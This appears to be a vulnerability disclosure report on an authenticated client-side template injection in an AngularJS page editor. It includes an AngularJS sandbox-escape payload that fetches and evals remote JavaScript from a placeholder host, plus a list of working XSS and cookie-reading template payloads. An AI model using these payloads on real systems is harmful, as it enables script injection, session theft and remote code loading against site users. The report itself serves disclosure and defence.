Authenticated Client-Side Template Injection (CSTI) Vulnerability

Summary:

Vulnerable Endpoint:

```
Platform management > Edit Pages
```

Vulnerable Parameter:

```
Editor
```

Description:

A Client-Side Template Injection (CSTI) vulnerability has been identified in the web application's client-side template rendering engine. This vulnerability allows attackers to inject malicious template expressions that are executed on the client-side, leading to Cross-Site Scripting (XSS), data theft, session hijacking, and other security issues.

There are some protections in place that do not allow JavaScript scripts, however these are bypassed by using the syntax found in the attack path. The list is non-exhaustive.

There is also a Denial of Service (DoS) that affects anyone that attempts to access the edited page when the script below is written to the page:

```
{{'a'.constructor.prototype.charAt=
[].join;$eval('fetch("http://yourserver.com/payload.js").then(response =>
response.text()).then(eval)')}}
```

Mitigation:

- Ensure all user inputs are properly validated and sanitized before being processed or bound in the AngularJS templates.

References:

- https://portswigger.net/kb/issues/00200308_client-side-template-injection

Attack Path:

Editing pages in Platform management > Edit pages allows Client-Side Template Injection. The following payloads all work.

```
{{7*7}}
{{7*'7'}}
{{'fa'.toUpperCase()}}
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(document.cookie)')()}}
<input ng-focus=$event.view.alert('XSS')>
```